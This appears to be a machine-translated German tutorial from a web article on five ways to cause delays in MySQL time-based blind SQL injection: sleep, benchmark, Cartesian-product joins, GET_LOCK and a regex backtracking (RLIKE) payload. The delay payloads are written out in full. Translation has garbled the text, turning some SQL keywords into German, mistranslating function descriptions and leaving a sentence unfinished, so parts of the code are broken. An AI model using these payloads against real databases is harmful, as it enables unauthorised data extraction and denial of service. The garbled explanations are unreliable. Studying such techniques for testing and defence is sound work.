Fünf Verzögerungsmethoden für die MySQL-Zeitblindinjektion (unerwartete PWNHUB-Lösung) Verzögerungseinspritzfunktion Fünf: sleep(), benchmark(t,exp), kartesisches Produkt, GET_LOCK() RLIKE-Regularisierung schlafen()Schlaf(x) wähle sleep(5); benchmark() führt wiederholt einen Ausdruck ausBenchmark(t,exp) select benchmark(count,expr) dient dazu, den Ausdruck expr anzahl-mal wiederholt auszuführen, was die Verarbeitungszeit sehr lang macht und zu Verzögerungen führt. Wählen Sie beispielsweise „Benchmark(1000000,encode("hallo","gut"));“ Wählen Sie Benchmark (5000000, MD5 ('Test')); Kartesisches ProduktKartesisches Produkt (weil das Verbinden von Tabellen eine zeitaufwändige Operation ist) AxB = die Menge, die aus allen Kombinationen von Elementen in A und B besteht, also die Verknüpfungstabelle.SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; Wählen Sie * aus Tabellenname A, Tabellenname B Wählen Sie * aus Tabellenname A, Tabellenname B, Tabellenname C select count(*) from table_name A, table_name B, table_name C Die Tabelle kann dieselbe Tabelle sein GET_LOCK() Sperre GET_LOCK(key,timeout) erfordert zwei Verbindungssitzungen Sitzung1 Sitzung2 get_lock: Nach dem gets_lock der Sitzung 1 wird es jedoch nicht freigegeben. Sitzung 2 sperrt nicht denselben Schlüssel oder sperrt nicht und kann trotzdem beliebige Operationen an den Daten durchführen. Daher ist das Sperren nur ein subjektiver Wunsch, nur einer Verbindung zu erlauben, bestimmte Operationen gleichzeitig durchzuführen. Wenn andere Verbindungen nicht get_lock aufrufen, um dieselbe Sperre hinzuzufügen, sind sie davon nicht betroffen und können tun, was sie wollen. Sitzung1 Sitzung2 Analyse der Vor- und Nachteile (1) Diese Methode ist zum Aktualisieren aller Spalten effektiver, aber die Abfrageanweisung muss auch innerhalb der Sperre ausgeführt werden. (2) Diese Methode gibt die Sperre automatisch frei, wenn die Verbindung zum Client ohne Grund getrennt wird, was besser ist. Im Gegensatz zur Redis-Sperre bleibt die Sperre bestehen, wenn die Sperre nach dem Hinzufügen getrennt wird. (3) Diese Methode sperrt alle Vorgänge innerhalb der Sperre, nicht eine bestimmte Tabelle oder eine bestimmte Zeile. Daher teilen sich verschiedene Vorgänge mit demselben Schlüssel dieselbe Sperre, was zu geringer Effizienz führt. (4) Wenn die Abfrageanweisung vor der Sperre platziert wird, sind die Daten möglicherweise alt und die Aktualisierung überschreibt die Daten, die nach der Abfrage und vor der Aktualisierung von anderen Clients aktualisiert wurden. RLIKE REGEXP reguläre Übereinstimmung Verwenden Sie Wählen Sie rpad ('a', 4999999, 'a') RLIKE concat (Wiederholung ('(a.*)+', 30), 'b'); Normale Syntax: RPAD(Zeichenfolge, Länge, Padzeichenfolge) Füllen Sie str mit der rechten Maustaste mit der Zeichenfolge padstr auf, bis ihre Länge len Zeichen erreicht, und geben Sie dann str zurück. Wenn str länger als len' ist, wird es auf len Zeichen gekürzt. mysql> SELECT RPAD('hallo',5,'?'); -> 'hallo???' repeat(str,times) kopiert den String mal ⭐️Suche nach neuen Verzögerungsfunktionen concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' Der obige Code ist äquivalent zu Damit ist dieser Artikel über fünf Verzögerungsmethoden für MySQL Time Blind Injection abgeschlossen. Weitere Informationen zu MySQL Time Blind Injection finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, Sie werden 123WORDPRESS.COM auch in Zukunft unterstützen! Das könnte Sie auch interessieren:
|
<<: Verwenden von Textschatten- und Elementschatteneffekten in CSS
Inhaltsverzeichnis 1. Einleitung 2. Vorteile 3. N...
Hier sind die Arten von Daten, die überprüft werd...
Hallo zusammen, ich bin Liang Xu. Sind Sie bei de...
Ich war in einer Besprechung, als ein Kollege anr...
1. Quelle des Problems Ein Freund von @水米田 hat mi...
Inhaltsverzeichnis K8S Master Grundlegende Archit...
1. Einleitung Beim Schreiben von Animationseffekt...
PS: Ich habe kürzlich das Nginx-Kapitel von <&...
Uniapp-Code <Vorlage> <Ansicht> <i...
MySQL sauber deinstallieren. Persönlich getestet,...
Inhaltsverzeichnis Vorwort Quellcode Wo beginne i...
GUN-Bildschirm: Offizielle Website: http://www.gn...
1. Tabellenanweisung erstellen: CREATE TABLE `Mit...
zählen(*) erreichen 1. MyISAM: Speichert die Gesa...
CAST-Funktion Im vorherigen Artikel haben wir die...